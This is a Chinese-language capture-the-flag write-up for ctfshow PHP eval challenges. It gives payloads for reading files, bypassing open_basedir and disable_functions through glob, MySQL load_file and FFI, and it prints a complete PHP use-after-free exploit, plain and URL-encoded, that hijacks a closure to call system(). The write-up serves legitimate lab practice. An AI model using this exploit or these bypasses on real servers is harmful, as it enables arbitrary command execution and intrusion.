1 c=highlight_file('flag.php');
Web 59 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
还是能用
1 c=highlight_file('flag.php');
还有其他函数也能读取
1 c=show_source('flag.php');
Web 60 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
一样的 payload
1 2 c=show_source('flag.php'); c=highlight_file('flag.php');
Web 61-65 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
同 Web 59
Web 66 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
这次前面的 payload 都不行了,列出 /
目录下的文件
1 2 c=print_r(scandir("/")); >>Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
读取 flag
1 c=highlight_file('/flag.txt');
Web 67 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
print_r()
函数被禁了,var_dump()
和 var_export()
都能用
还是能用
1 c=highlight_file('/flag.txt');
Web 68 没有源码,只能用 var_dump()
函数打印,然后用 include()
函数读取
Web 69 var_dump()
不行,换成 var_export()
可以,然后
Web 70 还是只能 var_export()
,然后 payload 同上
Web 71 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
源码中的 ob_get_contents()
函数,会返回输出缓冲区的内容,ob_end_clean
清空缓冲区的内容并关闭
那么整个流程就是获取缓冲区的数据然后清空,再把所有的内容都替换成 ?
,那么我们的思路就是在替换之前把内容劫持了
利用 die()
函数和 exit()
函数都能提前终止
1 2 c=var_export(scandir("/"));die(); c=include('/flag.txt');die();
Web72* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
列出目录文件时回显没有权限
1 2 3 4 5 6 7 8 9 10 Warning : error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning : ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning : scandir(): open_basedir restriction in effect. File (/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19 ) : eval()'d code on line 1 Warning : scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19 ) : eval()'d code on line 1 Warning : scandir(): (errno 1 ): Operation not permitted in /var/www/html/index.php(19 ) : eval()'d code on line 1 false
open_basedir
:open_basedir绕过
使用 glob://
伪协议绕过
1 2 c=var_export(scandir('glob://*'));exit(); #列出 open_basedir 允许的目录 c=var_export(scandir('glob:///*'));die(); #列出根目录
还是不能读取文件,看了很多大佬的 WP
利用 uaf 绕过 open_basedir
执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }ctfshow ("cat /flag0.txt" );ob_end_flush ();?>
需要 URL 编码发包
1 c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A
uaf
漏洞全称为 user after free
,原理是当一个已经释放的内存块被重新分配并再次使用时,攻击者可能利用该内存块中的残留数据来执行任意代码,属于堆的知识点
deepseek 老师详解:
这个PHP脚本利用PHP中的UAF(Use After Free)漏洞,通过精心构造的内存操作和闭包对象篡改,实现任意命令执行。以下是对代码的详细分析:
漏洞触发与利用流程
UAF 触发与内存泄漏
Vuln 类析构 :trigger_uaf
函数创建 Vuln
对象,其析构函数通过 debug_backtrace
捕获堆栈信息,将释放后的字符串引用存入 $abc
。
堆布局 :预先分配多个长字符串($contiguous
)来稳定堆布局,确保 $abc
指向释放后的内存区域。
内存操作基础函数
地址转换 :str2ptr
和 ptr2str
用于字符串与指针的转换,write
函数允许在字符串中任意位置写入数据。
内存泄漏 :leak
函数通过修改字符串内部指针,读取任意地址内存值。
ELF 解析与基址定位
ELF 头识别 :get_binary_base
通过特征值 0x7f454c460101
(ELF魔数)定位 PHP 二进制基址。
程序头解析 :parse_elf
分析 ELF 结构,获取数据段和代码段信息,为后续符号查找奠定基础。
关键函数定位
基础函数表 :get_basic_funcs
遍历内存,匹配 zend_function_entry
结构,定位 PHP 内部函数表。
system 函数定位 :get_system
遍历函数表,通过名称哈希(’system’对应0x6d6574737973
)找到 system
函数地址。
闭包对象篡改
结构复制 :将原闭包对象数据复制到伪造对象中,维持结构合法性。
函数指针劫持 :修改闭包处理函数为 system
,使得调用闭包时执行任意命令。
命令执行
最终触发 :通过 ($helper->b)($cmd)
调用被篡改的闭包,触发 system($cmd)
执行系统命令。
关键代码解析
UAF利用点 :
1 2 3 $vuln = new Vuln ();$vuln ->a = $arg ;
闭包对象劫持 :
1 write ($abc , 0xd0 + 0x68 , $zif_system );
内存泄漏与计算 :
1 2 $closure_handlers = str2ptr ($abc , 0 ); $binary_leak = leak ($closure_handlers , 8 );
这个题对我来说有点难理解…
Web 73 1 2 3 4 5 6 Warning : error_reporting() has been disabled for security reasons in /var/www/html/index .php on line 14 Warning : ini_set() has been disabled for security reasons in /var/www/html/index .php on line 15 Warning : highlight_file() has been disabled for security reasons in /var/www/html/index .php on line 24 你要上天吗?
可以直接包含
1 2 c=var_export(scandir('glob:///*'));die(); c=include('/flagc.txt');die();
Web 74 用之前的 payload 发现 scandir()
被 ban 了
1 2 Warning : scandir() has been disabled for security reasons in /var/www/html/index.php(19 ) : eval()'d code on line 1 NULL
换成 DirectoryIterator
1 2 3 4 c=$a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); };exit();
绕过姿势还是在这篇文章有讲解 open_basedir绕过
然后
1 c=include('/flagx.txt');die();
Web 75 同样用 payload 能读到有 flag36.txt
,但是访问失败有限制,有 mysql,利用 mysql 绕过
1 2 3 4 5 6 c=$dbh = new PDO ('mysql:host=127.0.0.1;dbname=mysql' ,'root' ,'root' );foreach ($dbh ->query ('select load_file("/flag36.txt");' ) as $row ){ var_export ($row ); }die ();
Web 76 和 Web 75 一样的方法
Web 77 列出文件还是能用
1 2 3 4 c=$a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); };exit();
hint 说是 php7.4 的 [FFI]( https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html )
这个 FFI
是外部函数接口,能在 php 中去调用 C 语言的函数
绕过姿势:bypass disable_functions姿势总结 的利用 PHP7.4 FFI 绕过
1 2 3 4 c= $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("/readflag /flag36x.txt > /var/www/html/flagxx.txt"); exit();
然后访问
Web 118 只有一个输入框,f12 发现有一句 <!-- system($code);-->
也就是说输入的内容会被 system()
